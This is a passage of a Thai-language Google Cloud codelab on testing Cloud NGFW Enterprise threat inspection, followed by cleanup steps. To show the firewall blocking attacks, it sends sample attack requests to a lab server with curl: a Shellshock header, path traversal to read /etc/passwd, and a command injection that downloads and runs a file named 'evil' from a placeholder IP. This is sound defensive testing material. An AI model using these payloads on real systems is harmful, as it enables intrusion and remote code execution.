คุณสามารถอธิบายกฎไฟร์วอลล์เพื่อยืนยันว่าทั้ง 2 กฎได้รับการอัปเดตเรียบร้อยแล้ว (ไม่บังคับ)

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

ผลลัพธ์ที่คาดไว้

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

กฎ 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

ผลลัพธ์ที่คาดไว้

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

เปลี่ยนกลับไปที่ VM ของไคลเอ็นต์ แล้วส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายในอีกครั้ง (การตรวจสอบฝั่งตะวันออก-ตะวันตก / ภายใน VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายนอกผ่าน Cloud NAT (การตรวจสอบขาเข้าจากภายนอก) อีกครั้ง

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ไม่ได้รับการตอบกลับสำหรับการโจมตีครั้งแรกตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าตอนนี้ระบบบล็อกการโจมตีที่มีความรุนแรงสูงแล้ว

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

ไปที่ความปลอดภัยของเครือข่าย > ภัยคุกคามใน Cloud Console เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้งหากการโจมตียังไม่แสดง)

daa535fcc34873aa.png

เลือกการโจมตีรายการใดรายการหนึ่ง แล้วคลิก "ดูบันทึกการตรวจสอบ" ทางด้านขวา (เปิดในแท็บใหม่เพื่อสลับกลับได้ง่ายๆ) ขยายการโจมตีเพื่อแสดงรายละเอียด

5f97cdef79e42eff.png

ไม่บังคับ: แทนที่ตัวกรอง Log Explorer ด้วยการค้นหาด้านล่าง

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

รายการบันทึกภัยคุกคามควรมีลักษณะดังนี้

5ea9581a7eb694c5.png

คุณสามารถยืนยันแพ็กเก็ตที่ไฟร์วอลล์ระบบคลาวด์สกัดกั้นได้โดยใช้ตัวกรอง Log Explorer ด้านล่าง (มีประโยชน์ในการแก้ปัญหา)

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

ไปที่การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ต (ไม่บังคับ) หรือปิดเซสชัน SSH แล้วไปที่บทถัดไปเพื่อดูขั้นตอนการล้างข้อมูล

[ไม่บังคับ] การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ต

ตามที่ยืนยันในส่วนก่อนหน้า โฟลว์ที่ตรวจสอบจนถึงตอนนี้คือการรับส่งข้อมูลภายในซับเน็ต/VPC (East-West) และการรับส่งข้อมูลขาเข้าจากอินเทอร์เน็ต (North-South inbound) นอกจากนี้ คุณยังกำหนดค่า Cloud NGFW Enterprise ให้ตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ตทั้งหมด (ขาออกทางเหนือ-ใต้) ได้ด้วยการสร้างกฎขาออกใหม่โดยใช้ Cloud Shell ดังนี้

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

สลับกลับไปที่ VM ไคลเอ็นต์ แล้วส่งการโจมตีที่มีความรุนแรงสูงไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้ง

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

ผลลัพธ์ที่คาดไว้

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

เปลี่ยนไปที่แท็บภัยคุกคามใน Cloud Console เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้ง) ระบบควรระบุและบันทึกการโจมตีอีกครั้ง แต่ตอนนี้ IP ต้นทางเป็น IP ภายในเนื่องจากมีการทริกเกอร์กฎขาออกก่อน

36f8edf264dcddcd.png

ปิดเซสชัน SSH และไปที่ส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล

8. ขั้นตอนการล้างข้อมูล

การล้างข้อมูลคอมโพเนนต์ของ Cloud NGFW Enterprise

แสดงรายการการเชื่อมโยง Cloud NGFW Enterprise ที่มีอยู่

gcloud network-security firewall-endpoint-associations list

ลบการเชื่อมโยง Cloud NGFW Enterprise

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

แสดงรายการปลายทาง Cloud NGFW Enterprise ที่มีอยู่

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ลบปลายทาง Cloud NGFW Enterprise ซึ่งอาจใช้เวลาประมาณ 20 นาที

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

ยืนยันว่าลบ Cloud NGFW Enterprise แล้วโดยเรียกใช้คำสั่งด้านล่าง

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์การป้องกันภัยคุกคาม

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

การล้างข้อมูลการตั้งค่าพื้นฐาน

ไปยังขั้นตอนถัดไปหากต้องการลบทรัพยากรพื้นฐาน

กำหนดตัวแปรสภาพแวดล้อมหากจำเป็น จาก Cloud Shell ให้ลบคอมโพเนนต์ของ Network Load Balancer ดังนี้

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

วิธีนำอินสแตนซ์ออก

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

คุณเลือกทำตามขั้นตอนด้านล่างได้หากมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

วิธีนำคีย์และค่าของแท็กออก

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ลบนโยบายเครือข่ายไฟร์วอลล์ของ Cloud และการเชื่อมโยง

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ลบ Cloud Router และ Cloud NAT

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

ลบที่อยู่ IP ที่สงวนไว้

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC โดยทำดังนี้

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. ยินดีด้วย

ยินดีด้วย คุณทำ Codelab Cloud NGFW Enterprise สำหรับการตรวจสอบทิศทาง East-West และ North-South เสร็จสมบูรณ์แล้ว